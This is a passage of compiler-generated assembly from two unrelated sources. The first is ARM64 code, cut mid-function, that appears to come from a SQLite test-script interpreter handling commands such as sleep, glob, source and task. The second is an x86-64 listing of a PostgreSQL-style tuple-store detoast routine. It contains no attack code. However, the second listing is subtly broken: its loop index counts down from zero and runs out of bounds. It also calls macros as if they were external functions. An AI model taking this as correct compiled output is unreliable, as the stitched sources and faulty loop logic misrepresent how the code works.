LBB0_28: ; Parent Loop BB0_3 Depth=1 ; => This Inner Loop Header: Depth=2 strb wzr, [x10], #200 add w9, w9, #2 cmp w8, w9 b.gt LBB0_28 b LBB0_30 LBB0_29: ; in Loop: Header=BB0_3 Depth=1 Lloh21: adrp x8, _MX_ARG@GOTPAGE Lloh22: ldr x8, [x8, _MX_ARG@GOTPAGEOFF] Lloh23: ldr w8, [x8] ldp x27, x25, [x19, #32] ; 16-byte Folded Reload ldr w23, [x19, #52] ; 4-byte Folded Reload ldr x21, [x19, #56] ; 8-byte Folded Reload cmp w21, w8 b.lt LBB0_22 LBB0_30: ; in Loop: Header=BB0_3 Depth=1 sub x0, x29, #126 Lloh24: adrp x1, l_.str.1@PAGE Lloh25: add x1, x1, l_.str.1@PAGEOFF bl _strcmp cbz x0, LBB0_36 ; %bb.31: ; in Loop: Header=BB0_3 Depth=1 sub x0, x29, #126 Lloh26: adrp x1, l_.str.2@PAGE Lloh27: add x1, x1, l_.str.2@PAGEOFF bl _strcmp cbz x0, LBB0_136 ; %bb.32: ; in Loop: Header=BB0_3 Depth=1 sub x0, x29, #126 Lloh28: adrp x1, l_.str.3@PAGE Lloh29: add x1, x1, l_.str.3@PAGEOFF bl _strcmp cbz x0, LBB0_37 ; %bb.33: ; in Loop: Header=BB0_3 Depth=1 sub x0, x29, #126 Lloh30: adrp x1, l_.str.4@PAGE Lloh31: add x1, x1, l_.str.4@PAGEOFF bl _strcmp ldr w8, [x19, #100] ; 4-byte Folded Reload cmp w8, #1 b.lt LBB0_39 ; %bb.34: ; in Loop: Header=BB0_3 Depth=1 cbnz x0, LBB0_39 ; %bb.35: ; in Loop: Header=BB0_3 Depth=1 ldr w0, [x19, #100] ; 4-byte Folded Reload mov x1, x23 mov w2, #1 ; =0x1 bl _finishScript b LBB0_73 LBB0_36: ; in Loop: Header=BB0_3 Depth=1 ldr x0, [x19, #104] ; 8-byte Folded Reload bl _atoi bl _sqlite3_sleep b LBB0_73 LBB0_37: ; in Loop: Header=BB0_3 Depth=1 Lloh32: adrp x8, _g@GOTPAGE Lloh33: ldr x8, [x8, _g@GOTPAGEOFF] Lloh34: ldr w8, [x8] cmp w8, #1 b.ne LBB0_72 ; %bb.38: ; in Loop: Header=BB0_3 Depth=1 sub w8, w28, #1 stp x8, x20, [sp, #-16]! Lloh35: adrp x0, l_.str@PAGE Lloh36: add x0, x0, l_.str@PAGEOFF bl _logMessage add sp, sp, #16 b LBB0_72 LBB0_39: ; in Loop: Header=BB0_3 Depth=1 sub x0, x29, #126 Lloh37: adrp x1, l_.str.5@PAGE Lloh38: add x1, x1, l_.str.5@PAGEOFF bl _strcmp cbz x0, LBB0_72 ; %bb.40: ; in Loop: Header=BB0_3 Depth=1 sub x0, x29, #126 Lloh39: adrp x1, l_.str.6@PAGE Lloh40: add x1, x1, l_.str.6@PAGEOFF bl _strcmp cbz x0, LBB0_61 ; %bb.41: ; in Loop: Header=BB0_3 Depth=1 sub x0, x29, #126 Lloh41: adrp x1, l_.str.8@PAGE Lloh42: add x1, x1, l_.str.8@PAGEOFF bl _strcmp cbz x0, LBB0_53 ; %bb.42: ; in Loop: Header=BB0_3 Depth=1 sub x0, x29, #126 Lloh43: adrp x1, l_.str.9@PAGE Lloh44: add x1, x1, l_.str.9@PAGEOFF bl _strcmp cbz x0, LBB0_53 ; %bb.43: ; in Loop: Header=BB0_3 Depth=1 sub x0, x29, #126 Lloh45: adrp x1, l_.str.11@PAGE Lloh46: add x1, x1, l_.str.11@PAGEOFF bl _strcmp cbz x0, LBB0_74 ; %bb.44: ; in Loop: Header=BB0_3 Depth=1 sub x0, x29, #126 Lloh47: adrp x1, l_.str.13@PAGE Lloh48: add x1, x1, l_.str.13@PAGEOFF bl _strcmp cbz x0, LBB0_75 ; %bb.45: ; in Loop: Header=BB0_3 Depth=1 str x21, [x19, #56] ; 8-byte Folded Spill mov w21, w28 sub x0, x29, #126 Lloh49: adrp x1, l_.str.17@PAGE Lloh50: add x1, x1, l_.str.17@PAGEOFF bl _strcmp cbz x0, LBB0_77 ; %bb.46: ; in Loop: Header=BB0_3 Depth=1 sub x0, x29, #126 Lloh51: adrp x1, l_.str.18@PAGE Lloh52: add x1, x1, l_.str.18@PAGEOFF bl _strcmp cbz x0, LBB0_82 ; %bb.47: ; in Loop: Header=BB0_3 Depth=1 sub x0, x29, #126 Lloh53: adrp x1, l_.str.20@PAGE Lloh54: add x1, x1, l_.str.20@PAGEOFF bl _strcmp cbz x0, LBB0_94 ; %bb.48: ; in Loop: Header=BB0_3 Depth=1 sub x0, x29, #126 Lloh55: adrp x1, l_.str.21@PAGE Lloh56: add x1, x1, l_.str.21@PAGEOFF bl _strcmp cbz x0, LBB0_73 ; %bb.49: ; in Loop: Header=BB0_3 Depth=1 sub x0, x29, #126 Lloh57: adrp x1, l_.str.22@PAGE Lloh58: add x1, x1, l_.str.22@PAGEOFF bl _strcmp ldr w8, [x19, #100] ; 4-byte Folded Reload cbnz w8, LBB0_107 ; %bb.50: ; in Loop: Header=BB0_3 Depth=1 cbnz x0, LBB0_107 ; %bb.51: ; in Loop: Header=BB0_3 Depth=1 ldr x0, [x19, #104] ; 8-byte Folded Reload bl _atoi cmp w0, #1 b.lt LBB0_73 ; %bb.52: ; in Loop: Header=BB0_3 Depth=1 bl _startClient b LBB0_73 LBB0_53: ; in Loop: Header=BB0_3 Depth=1 str w23, [x19, #52] ; 4-byte Folded Spill ldurb w21, [x29, #-126] cmp w21, #103 mov w8, #9 ; =0x9 mov w9, #6 ; =0x6 csel w23, w9, w8, eq sub w24, w28, #1 cmp w23, w24 b.ge LBB0_57 LBB0_54: ; Parent Loop BB0_3 Depth=1 ; => This Inner Loop Header: Depth=2 ldrsb w0, [x20, x23] bl _ISSPACE cbz x0, LBB0_57 ; %bb.55: ; in Loop: Header=BB0_54 Depth=2 add x23, x23, #1 cmp x24, x23 b.ne LBB0_54 ; %bb.56: ; in Loop: Header=BB0_3 Depth=1 mov x23, x24 LBB0_57: ; in Loop: Header=BB0_3 Depth=1 cmp w21, #103 cset w21, eq add x8, x20, w23, uxtw mvn w9, w23 add w9, w28, w9 stp x9, x8, [sp, #-16]! Lloh59: adrp x0, l_.str@PAGE Lloh60: add x0, x0, l_.str@PAGEOFF bl _sqlite3_mprintf add sp, sp, #16 mov x20, x0 ldr w1, [x19, #128] bl _sqlite3_strglob cmp x0, #0 cset w8, eq cmp w21, w8 b.eq LBB0_59 ; %bb.58: ; in Loop: Header=BB0_3 Depth=1 ldr w8, [x19, #128] stp x20, x8, [sp, #-16]! Lloh61: adrp x0, l_.str.10@PAGE Lloh62: add x0, x0, l_.str.10@PAGEOFF mov x1, x26 ldr x2, [x19, #80] ; 8-byte Folded Reload bl _errorMessage add sp, sp, #16 LBB0_59: ; in Loop: Header=BB0_3 Depth=1 mov x0, x20 bl _sqlite3_free Lloh63: adrp x9, _g@GOTPAGE Lloh64: ldr x9, [x9, _g@GOTPAGEOFF] ldr w8, [x9, #8] add w8, w8, #1 str w8, [x9, #8] add x0, x19, #124 bl _stringReset LBB0_60: ; in Loop: Header=BB0_3 Depth=1 ldr w23, [x19, #52] ; 4-byte Folded Reload b LBB0_73 LBB0_61: ; in Loop: Header=BB0_3 Depth=1 cmp w28, #9 b.lt LBB0_65 ; %bb.62: ; in Loop: Header=BB0_3 Depth=1 mov x24, x23 sub w21, w28, #1 mov w23, #7 ; =0x7 LBB0_63: ; Parent Loop BB0_3 Depth=1 ; => This Inner Loop Header: Depth=2 ldrsb w0, [x20, x23] bl _ISSPACE cbz x0, LBB0_66 ; %bb.64: ; in Loop: Header=BB0_63 Depth=2 add x23, x23, #1 cmp x21, x23 b.ne LBB0_63 b LBB0_67 LBB0_65: ; in Loop: Header=BB0_3 Depth=1 mov w21, #7 ; =0x7 b LBB0_68 LBB0_66: ; in Loop: Header=BB0_3 Depth=1 mov x21, x23 LBB0_67: ; in Loop: Header=BB0_3 Depth=1 mov x23, x24 LBB0_68: ; in Loop: Header=BB0_3 Depth=1 add x20, x20, w21, uxtw mvn w8, w21 ldr w9, [x19, #124] add w21, w28, w8 cmp w21, w9 b.ne LBB0_70 ; %bb.69: ; in Loop: Header=BB0_3 Depth=1 ldr w0, [x19, #128] mov x1, x20 mov x2, x21 bl _strncmp cbz x0, LBB0_71 LBB0_70: ; in Loop: Header=BB0_3 Depth=1 ldr w8, [x19, #128] sub sp, sp, #32 stp x20, x8, [sp, #8] str x21, [sp] Lloh65: adrp x0, l_.str.7@PAGE Lloh66: add x0, x0, l_.str.7@PAGEOFF mov x1, x26 ldr x2, [x19, #80] ; 8-byte Folded Reload bl _errorMessage add sp, sp, #32 LBB0_71: ; in Loop: Header=BB0_3 Depth=1 Lloh67: adrp x9, _g@GOTPAGE Lloh68: ldr x9, [x9, _g@GOTPAGEOFF] ldr w8, [x9, #8] add w8, w8, #1 str w8, [x9, #8] LBB0_72: ; in Loop: Header=BB0_3 Depth=1 add x0, x19, #124 bl _stringReset LBB0_73: ; in Loop: Header=BB0_3 Depth=1 add w22, w22, w28 add x20, x27, w22, sxtw ldrb w21, [x20] cbnz w21, LBB0_3 b LBB0_131 LBB0_74: ; in Loop: Header=BB0_3 Depth=1 ldr w8, [x19, #128] str x8, [sp, #-16]! Lloh69: adrp x0, l_.str.12@PAGE Lloh70: add x0, x0, l_.str.12@PAGEOFF bl _logMessage add sp, sp, #16 b LBB0_73 LBB0_75: ; in Loop: Header=BB0_3 Depth=1 ldr x21, [x19, #104] ; 8-byte Folded Reload ldrsb w0, [x21] bl _isDirSep cbz w0, LBB0_87 ; %bb.76: ; in Loop: Header=BB0_3 Depth=1 mov x24, x23 mov x20, #0 ; =0x0 mov x23, x21 b LBB0_102 LBB0_77: ; in Loop: Header=BB0_3 Depth=1 mov x26, x23 cmp w28, #8 b.lt LBB0_92 ; %bb.78: ; in Loop: Header=BB0_3 Depth=1 add x24, x27, x24 mov w23, #7 ; =0x7 LBB0_79: ; Parent Loop BB0_3 Depth=1 ; => This Inner Loop Header: Depth=2 ldrsb w0, [x24, x23] bl _ISSPACE cbz x0, LBB0_93 ; %bb.80: ; in Loop: Header=BB0_79 Depth=2 add x23, x23, #1 cmp x21, x23 b.ne LBB0_79 ; %bb.81: ; in Loop: Header=BB0_3 Depth=1 mov x23, x21 b LBB0_93 LBB0_82: ; in Loop: Header=BB0_3 Depth=1 mov x26, x23 cmp w28, #5 b.lt LBB0_95 ; %bb.83: ; in Loop: Header=BB0_3 Depth=1 add x24, x27, x24 mov w23, #4 ; =0x4 LBB0_84: ; Parent Loop BB0_3 Depth=1 ; => This Inner Loop Header: Depth=2 ldrsb w0, [x24, x23] bl _ISSPACE cbz x0, LBB0_96 ; %bb.85: ; in Loop: Header=BB0_84 Depth=2 add x23, x23, #1 cmp x21, x23 b.ne LBB0_84 ; %bb.86: ; in Loop: Header=BB0_3 Depth=1 mov x23, x21 b LBB0_96 LBB0_87: ; in Loop: Header=BB0_3 Depth=1 ldr x0, [x19, #80] ; 8-byte Folded Reload bl _strlen mov w8, w0 LBB0_88: ; Parent Loop BB0_3 Depth=1 ; => This Inner Loop Header: Depth=2 cmp w8, #1 b.lt LBB0_100 ; %bb.89: ; in Loop: Header=BB0_88 Depth=2 sub x20, x8, #1 ldr x9, [x19, #80] ; 8-byte Folded Reload add x8, x9, x8 ldursb w0, [x8, #-1] bl _isDirSep mov x8, x20 cbz w0, LBB0_88 ; %bb.90: ; in Loop: Header=BB0_3 Depth=1 mov x24, x23 cbz x20, LBB0_101 ; %bb.91: ; in Loop: Header=BB0_3 Depth=1 sub sp, sp, #32 ldr x8, [x19, #104] ; 8-byte Folded Reload str x8, [sp, #16] ; kill: def $w20 killed $w20 killed $x20 def $x20 ldr x8, [x19, #80] ; 8-byte Folded Reload stp x20, x8, [sp] Lloh71: adrp x0, l_.str.14@PAGE Lloh72: add x0, x0, l_.str.14@PAGEOFF bl _sqlite3_mprintf add sp, sp, #32 mov x23, x0 mov x20, x0 b LBB0_102 LBB0_92: ; in Loop: Header=BB0_3 Depth=1 mov w23, #7 ; =0x7 LBB0_93: ; in Loop: Header=BB0_3 Depth=1 sub w8, w28, w23 add x9, x20, w23, uxtw stp x8, x9, [sp, #-16]! Lloh73: adrp x0, l_.str@PAGE Lloh74: add x0, x0, l_.str@PAGEOFF bl _logMessage add sp, sp, #16 mov x23, x26 b LBB0_73 LBB0_94: ; in Loop: Header=BB0_3 Depth=1 add x0, x20, w28, sxtw add x2, x19, #132 mov w1, #0 ; =0x0 bl _findEndif add w22, w22, w0 b LBB0_73 LBB0_95: ; in Loop: Header=BB0_3 Depth=1 mov w23, #4 ; =0x4 LBB0_96: ; in Loop: Header=BB0_3 Depth=1 sub w1, w28, w23 add x2, x20, w23, uxtw Lloh75: adrp x0, l_.str.19@PAGE Lloh76: add x0, x0, l_.str.19@PAGEOFF bl _prepareSql mov x21, x0 bl _sqlite3_step Lloh77: adrp x8, _SQLITE_ROW@GOTPAGE Lloh78: ldr x8, [x8, _SQLITE_ROW@GOTPAGEOFF] Lloh79: ldr w8, [x8] cmp w0, w8 b.ne LBB0_98 ; %bb.97: ; in Loop: Header=BB0_3 Depth=1 mov x0, x21 mov w1, #0 ; =0x0 bl _sqlite3_column_int cbnz x0, LBB0_99 LBB0_98: ; in Loop: Header=BB0_3 Depth=1 add x0, x20, w28, sxtw add x2, x19, #132 mov w1, #1 ; =0x1 bl _findEndif add w22, w22, w0 LBB0_99: ; in Loop: Header=BB0_3 Depth=1 mov x23, x26 mov x0, x21 bl _sqlite3_finalize b LBB0_73 LBB0_100: ; in Loop: Header=BB0_3 Depth=1 mov x24, x23 mov x20, #0 ; =0x0 LBB0_101: ; in Loop: Header=BB0_3 Depth=1 ldr x23, [x19, #104] ; 8-byte Folded Reload LBB0_102: ; in Loop: Header=BB0_3 Depth=1 mov x0, x23 bl _readFile mov x21, x0 Lloh80: adrp x8, _g@GOTPAGE Lloh81: ldr x8, [x8, _g@GOTPAGEOFF] Lloh82: ldr w8, [x8] cbz w8, LBB0_104 ; %bb.103: ; in Loop: Header=BB0_3 Depth=1 str x23, [sp, #-16]! Lloh83: adrp x0, l_.str.15@PAGE Lloh84: add x0, x0, l_.str.15@PAGEOFF bl _logMessage add sp, sp, #16 LBB0_104: ; in Loop: Header=BB0_3 Depth=1 mov w0, #0 ; =0x0 mov w1, #0 ; =0x0 mov x2, x21 mov x3, x23 bl _runScript mov x0, x21 bl _sqlite3_free Lloh85: adrp x8, _g@GOTPAGE Lloh86: ldr x8, [x8, _g@GOTPAGEOFF] Lloh87: ldr w8, [x8] cbz w8, LBB0_106 ; %bb.105: ; in Loop: Header=BB0_3 Depth=1 str x23, [sp, #-16]! Lloh88: adrp x0, l_.str.16@PAGE Lloh89: add x0, x0, l_.str.16@PAGEOFF bl _logMessage add sp, sp, #16 LBB0_106: ; in Loop: Header=BB0_3 Depth=1 mov x0, x20 bl _sqlite3_free mov x23, x24 b LBB0_73 LBB0_107: ; in Loop: Header=BB0_3 Depth=1 sub x0, x29, #126 Lloh90: adrp x1, l_.str.23@PAGE Lloh91: add x1, x1, l_.str.23@PAGEOFF bl _strcmp ldr w8, [x19, #100] ; 4-byte Folded Reload cbnz w8, LBB0_111 ; %bb.108: ; in Loop: Header=BB0_3 Depth=1 cbnz x0, LBB0_111 ; %bb.109: ; in Loop: Header=BB0_3 Depth=1 ldr x8, [x19, #56] ; 8-byte Folded Reload cmp w8, #2 b.lo LBB0_119 ; %bb.110: ; in Loop: Header=BB0_3 Depth=1 ldr x0, [x19, #72] ; 8-byte Folded Reload bl _atoi mov x20, x0 b LBB0_120 LBB0_111: ; in Loop: Header=BB0_3 Depth=1 str w23, [x19, #52] ; 4-byte Folded Spill mov x24, x25 sub x0, x29, #126 Lloh92: adrp x1, l_.str.25@PAGE Lloh93: add x1, x1, l_.str.25@PAGEOFF bl _strcmp ldr w8, [x19, #100] ; 4-byte Folded Reload cbnz w8, LBB0_116 ; %bb.112: ; in Loop: Header=BB0_3 Depth=1 cbnz x0, LBB0_116 ; %bb.113: ; in Loop: Header=BB0_3 Depth=1 ldr x0, [x19, #104] ; 8-byte Folded Reload bl _atoi mov x25, x0 add x23, x20, w28, sxtw add x1, x19, #132 mov x0, x23 bl _findEnd mov x20, x0 tbnz w25, #31, LBB0_122 ; %bb.114: ; in Loop: Header=BB0_3 Depth=1 stp x20, x23, [sp, #-16]! Lloh94: adrp x0, l_.str@PAGE Lloh95: add x0, x0, l_.str@PAGEOFF bl _sqlite3_mprintf add sp, sp, #16 str x0, [x19, #112] ; 8-byte Folded Spill ldr x8, [x19, #56] ; 8-byte Folded Reload cmp w8, #2 b.lo LBB0_123 ; %bb.115: ; in Loop: Header=BB0_3 Depth=1 ldr x8, [x19, #72] ; 8-byte Folded Reload str x8, [sp, #-16]! Lloh96: adrp x0, l_.str.12@PAGE Lloh97: add x0, x0, l_.str.12@PAGEOFF b LBB0_124 LBB0_116: ; in Loop: Header=BB0_3 Depth=1 sub x0, x29, #126 Lloh98: adrp x1, l_.str.29@PAGE Lloh99: add x1, x1, l_.str.29@PAGEOFF bl _strcmp cbz x0, LBB0_121 ; %bb.117: ; in Loop: Header=BB0_3 Depth=1 sub x0, x29, #126 Lloh100: adrp x1, l_.str.30@PAGE Lloh101: add x1, x1, l_.str.30@PAGEOFF bl _strcmp cbz x0, LBB0_127 ; %bb.118: ; in Loop: Header=BB0_3 Depth=1 sub x8, x29, #126 str x8, [sp, #-16]! Lloh102: adrp x0, l_.str.31@PAGE Lloh103: add x0, x0, l_.str.31@PAGEOFF mov x1, x26 ldr x2, [x19, #80] ; 8-byte Folded Reload bl _errorMessage add sp, sp, #16 b LBB0_126 LBB0_119: ; in Loop: Header=BB0_3 Depth=1 mov w20, #10000 ; =0x2710 LBB0_120: ; in Loop: Header=BB0_3 Depth=1 add x1, x19, #138 mov w0, #1000 ; =0x3e8 Lloh104: adrp x2, l_.str.24@PAGE Lloh105: add x2, x2, l_.str.24@PAGEOFF mov x3, x26 ldr x4, [x19, #80] ; 8-byte Folded Reload bl _sqlite3_snprintf ldr x0, [x19, #104] ; 8-byte Folded Reload bl _atoi add x2, x19, #138 mov x1, x20 bl _waitForClient b LBB0_73 LBB0_121: ; in Loop: Header=BB0_3 Depth=1 bl _test_breakpoint b LBB0_126 LBB0_122: ; in Loop: Header=BB0_3 Depth=1 ; kill: def $w25 killed $w25 killed $x25 def $x25 str x25, [sp, #-16]! Lloh106: adrp x0, l_.str.26@PAGE Lloh107: add x0, x0, l_.str.26@PAGEOFF mov x1, x26 ldr x2, [x19, #80] ; 8-byte Folded Reload bl _errorMessage add sp, sp, #16 b LBB0_125 LBB0_123: ; in Loop: Header=BB0_3 Depth=1 ldr x0, [x19, #80] ; 8-byte Folded Reload bl _filenameTail ; kill: def $w0 killed $w0 def $x0 stp x0, x26, [sp, #-16]! Lloh108: adrp x0, l_.str.27@PAGE Lloh109: add x0, x0, l_.str.27@PAGEOFF LBB0_124: ; in Loop: Header=BB0_3 Depth=1 bl _sqlite3_mprintf add sp, sp, #16 mov x21, x0 mov x0, x25 bl _startClient sub sp, sp, #32 str x21, [sp, #16] ldr x26, [x19, #112] ; 8-byte Folded Reload stp x25, x26, [sp] Lloh110: adrp x0, l_.str.28@PAGE Lloh111: add x0, x0, l_.str.28@PAGEOFF bl _runSql add sp, sp, #32 mov x0, x26 bl _sqlite3_free mov x0, x21 bl _sqlite3_free LBB0_125: ; in Loop: Header=BB0_3 Depth=1 add x0, x23, w20, sxtw add x1, x19, #132 bl _tokenLength add w8, w20, w28 add w28, w8, w0 add w8, w28, w22 str w8, [x19, #112] ; 4-byte Folded Spill LBB0_126: ; in Loop: Header=BB0_3 Depth=1 mov x25, x24 b LBB0_60 LBB0_127: ; in Loop: Header=BB0_3 Depth=1 ldr x8, [x19, #56] ; 8-byte Folded Reload cbz w8, LBB0_129 ; %bb.128: ; in Loop: Header=BB0_3 Depth=1 ldr x0, [x19, #104] ; 8-byte Folded Reload bl _booleanValue cmp w0, #0 cset w8, eq b LBB0_130 LBB0_129: ; in Loop: Header=BB0_3 Depth=1 mov w8, #1 ; =0x1 LBB0_130: ; in Loop: Header=BB0_3 Depth=1 Lloh112: adrp x9, _g@GOTPAGE Lloh113: ldr x9, [x9, _g@GOTPAGEOFF] Lloh114: str w8, [x9, #4] b LBB0_126 LBB0_131: ldr w9, [x19, #112] ; 4-byte Folded Reload subs w8, w22, w9 b.le LBB0_133 ; %bb.132: add x9, x27, w9, sxtw stp x8, x9, [sp, #-16]! Lloh115: adrp x0, l_.str@PAGE Lloh116: add x0, x0, l_.str@PAGEOFF bl _sqlite3_mprintf add sp, sp, #16 mov x20, x0 bl _runSql mov x0, x20 bl _sqlite3_free LBB0_133: add x0, x19, #124 bl _stringFree mov sp, x25 ldur x8, [x29, #-96] Lloh117: adrp x9, ___stack_chk_guard@GOTPAGE Lloh118: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh119: ldr x9, [x9] cmp x9, x8 b.ne LBB0_135 ; %bb.134: sub sp, x29, #80 ldp x29, x30, [sp, #80] ; 16-byte Folded Reload ldp x20, x19, [sp, #64] ; 16-byte Folded Reload ldp x22, x21, [sp, #48] ; 16-byte Folded Reload ldp x24, x23, [sp, #32] ; 16-byte Folded Reload ldp x26, x25, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #96 ; 16-byte Folded Reload ret LBB0_135: bl ___stack_chk_fail LBB0_136: ldr x0, [x19, #104] ; 8-byte Folded Reload bl _atoi mov x20, x0 ldr w0, [x19, #100] ; 4-byte Folded Reload mov x1, x23 mov w2, #1 ; =0x1 bl _finishScript cbnz w20, LBB0_138 ; %bb.137: Lloh120: adrp x8, _g@GOTPAGE Lloh121: ldr x8, [x8, _g@GOTPAGEOFF] Lloh122: ldr w0, [x8, #12] bl _sqlite3_close LBB0_138: mov x0, x20 bl _exit .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpAdd Lloh8, Lloh9 .loh AdrpLdrGotLdr Lloh10, Lloh11, Lloh12 .loh AdrpAdd Lloh13, Lloh14 .loh AdrpLdrGotLdr Lloh15, Lloh16, Lloh17 .loh AdrpLdrGotLdr Lloh18, Lloh19, Lloh20 .loh AdrpLdrGotLdr Lloh21, Lloh22, Lloh23 .loh AdrpAdd Lloh24, Lloh25 .loh AdrpAdd Lloh26, Lloh27 .loh AdrpAdd Lloh28, Lloh29 .loh AdrpAdd Lloh30, Lloh31 .loh AdrpLdrGotLdr Lloh32, Lloh33, Lloh34 .loh AdrpAdd Lloh35, Lloh36 .loh AdrpAdd Lloh37, Lloh38 .loh AdrpAdd Lloh39, Lloh40 .loh AdrpAdd Lloh41, Lloh42 .loh AdrpAdd Lloh43, Lloh44 .loh AdrpAdd Lloh45, Lloh46 .loh AdrpAdd Lloh47, Lloh48 .loh AdrpAdd Lloh49, Lloh50 .loh AdrpAdd Lloh51, Lloh52 .loh AdrpAdd Lloh53, Lloh54 .loh AdrpAdd Lloh55, Lloh56 .loh AdrpAdd Lloh57, Lloh58 .loh AdrpAdd Lloh59, Lloh60 .loh AdrpAdd Lloh61, Lloh62 .loh AdrpLdrGot Lloh63, Lloh64 .loh AdrpAdd Lloh65, Lloh66 .loh AdrpLdrGot Lloh67, Lloh68 .loh AdrpAdd Lloh69, Lloh70 .loh AdrpAdd Lloh71, Lloh72 .loh AdrpAdd Lloh73, Lloh74 .loh AdrpLdrGotLdr Lloh77, Lloh78, Lloh79 .loh AdrpAdd Lloh75, Lloh76 .loh AdrpLdrGotLdr Lloh80, Lloh81, Lloh82 .loh AdrpAdd Lloh83, Lloh84 .loh AdrpLdrGotLdr Lloh85, Lloh86, Lloh87 .loh AdrpAdd Lloh88, Lloh89 .loh AdrpAdd Lloh90, Lloh91 .loh AdrpAdd Lloh92, Lloh93 .loh AdrpAdd Lloh94, Lloh95 .loh AdrpAdd Lloh96, Lloh97 .loh AdrpAdd Lloh98, Lloh99 .loh AdrpAdd Lloh100, Lloh101 .loh AdrpAdd Lloh102, Lloh103 .loh AdrpAdd Lloh104, Lloh105 .loh AdrpAdd Lloh106, Lloh107 .loh AdrpAdd Lloh108, Lloh109 .loh AdrpAdd Lloh110, Lloh111 .loh AdrpLdrGotStr Lloh112, Lloh113, Lloh114 .loh AdrpAdd Lloh115, Lloh116 .loh AdrpLdrGotLdr Lloh117, Lloh118, Lloh119 .loh AdrpLdrGotLdr Lloh120, Lloh121, Lloh122 .loh AdrpLdrGot Lloh6, Lloh7 .cfi_endproc ; -- End function .comm _MX_ARG,4,2 ; @MX_ARG .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "%.*s" .comm _g,16,2 ; @g l_.str.1: ; @.str.1 .asciz "sleep" l_.str.2: ; @.str.2 .asciz "exit" l_.str.3: ; @.str.3 .asciz "testcase" l_.str.4: ; @.str.4 .asciz "finish" l_.str.5: ; @.str.5 .asciz "reset" l_.str.6: ; @.str.6 .asciz "match" l_.str.7: ; @.str.7 .asciz "line %d of %s:\nExpected [%.*s]\n Got [%s]" l_.str.8: ; @.str.8 .asciz "glob" l_.str.9: ; @.str.9 .asciz "notglob" l_.str.10: ; @.str.10 .asciz "line %d of %s:\nExpected [%s]\n Got [%s]" l_.str.11: ; @.str.11 .asciz "output" l_.str.12: ; @.str.12 .asciz "%s" l_.str.13: ; @.str.13 .asciz "source" l_.str.14: ; @.str.14 .asciz "%.*s/%s" l_.str.15: ; @.str.15 .asciz "begin script [%s]\n" l_.str.16: ; @.str.16 .asciz "end script [%s]\n" l_.str.17: ; @.str.17 .asciz "print" l_.str.18: ; @.str.18 .asciz "if" l_.str.19: ; @.str.19 .asciz "SELECT %.*s" .comm _SQLITE_ROW,4,2 ; @SQLITE_ROW l_.str.20: ; @.str.20 .asciz "else" l_.str.21: ; @.str.21 .asciz "endif" l_.str.22: ; @.str.22 .asciz "start" l_.str.23: ; @.str.23 .asciz "wait" l_.str.24: ; @.str.24 .asciz "line %d of %s\n" l_.str.25: ; @.str.25 .asciz "task" l_.str.26: ; @.str.26 .asciz "line %d of %s: bad client number: %d" l_.str.27: ; @.str.27 .asciz "%s:%d" l_.str.28: ; @.str.28 .asciz "INSERT INTO task(client,script,name) VALUES(%d,'%q',%Q)" l_.str.29: ; @.str.29 .asciz "breakpoint" l_.str.30: ; @.str.30 .asciz "show-sql-errors" l_.str.31: ; @.str.31 .asciz "line %d of %s: unknown command --%s" .no_dead_strip _runScript .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function tstoreReceiveSlot_detoast _tstoreReceiveSlot_detoast: ## @tstoreReceiveSlot_detoast .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $24, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rsi, %rbx movq %rdi, %r15 movq 16(%rdi), %rax movq %rax, -56(%rbp) ## 8-byte Spill movslq (%rax), %r14 callq _slot_getallattrs testq %r14, %r14 js LBB0_1 ## %bb.2: xorl %r12d, %r12d movl $0, -44(%rbp) ## 4-byte Folded Spill jmp LBB0_3 .p2align 4, 0x90 LBB0_8: ## in Loop: Header=BB0_3 Depth=1 movq 8(%rbx), %rax movq %r13, (%rax,%r12,8) decq %r12 cmpq %r14, %r12 jg LBB0_9 LBB0_3: ## =>This Inner Loop Header: Depth=1 movq 8(%r15), %rax movq (%rax,%r12,8), %r13 movq -56(%rbp), %rdi ## 8-byte Reload movl %r12d, %esi callq _TupleDescAttr cmpl $0, 4(%rax) je LBB0_6 ## %bb.4: ## in Loop: Header=BB0_3 Depth=1 cmpl $-1, (%rax) jne LBB0_8 ## %bb.5: ## in Loop: Header=BB0_3 Depth=1 movq (%r15), %rax cmpl $0, (%rax,%r12,4) jne LBB0_8 .p2align 4, 0x90 LBB0_6: ## in Loop: Header=BB0_3 Depth=1 movq %r13, %rdi callq _DatumGetPointer movq %rax, %rdi callq _VARATT_IS_EXTERNAL testq %rax, %rax je LBB0_8 ## %bb.7: ## in Loop: Header=BB0_3 Depth=1 movq %r13, %rdi callq _DatumGetPointer movq %rax, %rdi callq _detoast_external_attr movl %eax, %edi callq _PointerGetDatum movq %rax, %r13 movq (%rbx), %rax movl -44(%rbp), %edx ## 4-byte Reload movslq %edx, %rcx incl %edx movl %edx, -44(%rbp) ## 4-byte Spill movq %r13, (%rax,%rcx,8) jmp LBB0_8 LBB0_1: movl $0, -44(%rbp) ## 4-byte Folded Spill LBB0_9: movl 20(%rbx), %edi callq _MemoryContextSwitchTo movl %eax, %r12d movl 16(%rbx), %edi movq 8(%rbx), %rdx movq (%r15), %rcx movq -56(%rbp), %rsi ## 8-byte Reload callq _tuplestore_putvalues movl %r12d, %edi callq _MemoryContextSwitchTo movl -44(%rbp), %eax ## 4-byte Reload testl %eax, %eax jle LBB0_12 ## %bb.10: movl %eax, %r14d xorl %r15d, %r15d .p2align 4, 0x90 LBB0_11: ## =>This Inner Loop Header: Depth=1 movq (%rbx), %rax movq (%rax,%r15,8), %rdi callq _DatumGetPointer movq %rax, %rdi callq _pfree incq %r15 cmpq %r15, %r14 jne LBB0_11 LBB0_12: movl $1, %eax addq $24, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip 